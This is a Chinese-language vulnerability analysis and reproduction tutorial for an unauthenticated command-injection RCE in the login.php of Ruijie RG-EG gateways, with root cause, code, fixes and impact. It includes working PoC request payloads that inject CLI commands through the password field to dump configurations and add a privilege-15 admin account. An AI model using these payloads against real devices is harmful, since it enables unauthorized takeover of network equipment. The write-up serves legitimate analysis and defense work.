一次有趣的锐捷前台无条件RCE漏洞分析
字数 1035 2025-08-18 17:33:08
锐捷前台无条件RCE漏洞分析与复现教学文档
漏洞概述
本漏洞存在于锐捷RG-EG系列出口网关的WEB管理端中,是一个前台无条件命令执行漏洞。攻击者无需任何认证即可通过构造特殊的请求参数,在设备上执行任意命令,获取设备敏感信息甚至完全控制设备。
漏洞分析
1. 漏洞位置
漏洞位于login.php文件中,具体在登录功能处理逻辑部分。
2. 漏洞成因
根本原因是开发者未对用户输入进行有效过滤,直接将用户可控参数拼接到设备命令中执行,导致命令注入。
3. 漏洞触发流程
- 用户提交用户名和密码到
login.php - 程序将用户名和密码拼接到
webmaster命令中 - 通过
execCli()函数执行拼接后的命令 - 由于无过滤,攻击者可在密码参数中注入额外命令
4. 关键代码分析
// login.php中的登录处理逻辑
$username = $_POST['username'];
$password = $_POST['password'];
// 执行webmaster命令验证登录
$res = execCli('exec', "webmaster $username $password");
// execCli函数定义
function execCli($mode, $command, $answer) {
// 参数检查
// ...
// 通过php cli模块执行命令
php_exec_cli($mode, $command, $answer);
}
漏洞复现
1. 环境准备
- 目标设备:锐捷RG-EG系列出口网关
- 测试工具:Burp Suite或类似HTTP代理工具
2. 复现步骤
- 拦截登录请求(通常为POST请求到
login.php) - 修改请求参数,构造恶意payload
- 发送请求并观察响应
3. PoC构造
基本payload格式:
username=任意值&password=原密码?[注入的命令]
示例payload:
username=test&password=123?show version
4. 常见可利用命令
- 查看设备信息:
show version - 查看配置:
show running-config - 查看用户:
show user - 查看接口信息:
show interface
漏洞利用
1. 信息收集
username=test&password=123?show running-config
可获取设备完整配置信息,包括密码hash等敏感数据。
2. 权限提升
通过修改配置或添加管理员用户实现权限提升:
username=test&password=123?configure terminal
username=test&password=123?username admin privilege 15 secret mynewpassword
3. 持久化控制
可通过修改启动配置或创建计划任务实现持久化访问。
防御措施
1. 临时缓解
- 限制WEB管理界面访问来源
- 修改默认密码
2. 根本修复
- 对用户输入进行严格过滤和验证
- 使用参数化查询而非字符串拼接
- 实现最小权限原则,限制WEB进程权限
- 对敏感操作增加二次认证
3. 代码修复建议
// 修复后的代码示例
function sanitizeInput($input) {
return preg_replace('/[^a-zA-Z0-9]/', '', $input);
}
$username = sanitizeInput($_POST['username']);
$password = sanitizeInput($_POST['password']);
// 或者使用预定义命令模板
$command = sprintf('webmaster %s %s',
escapeshellarg($username),
escapeshellarg($password)
);
漏洞影响
- CVSS评分:9.8 (Critical)
- 影响范围:所有使用相同登录逻辑的锐捷RG-EG系列设备
- 潜在危害:
- 完全控制网络设备
- 获取内网拓扑信息
- 作为跳板攻击内网其他设备
- 修改网络配置导致服务中断
总结
该漏洞展示了网络设备WEB管理界面常见的安全问题,强调了输入验证的重要性。开发人员应避免直接将用户输入拼接到系统命令中,而应使用安全的API或严格的输入过滤机制。对于渗透测试人员,此类设备往往隐藏着高危漏洞,值得重点关注。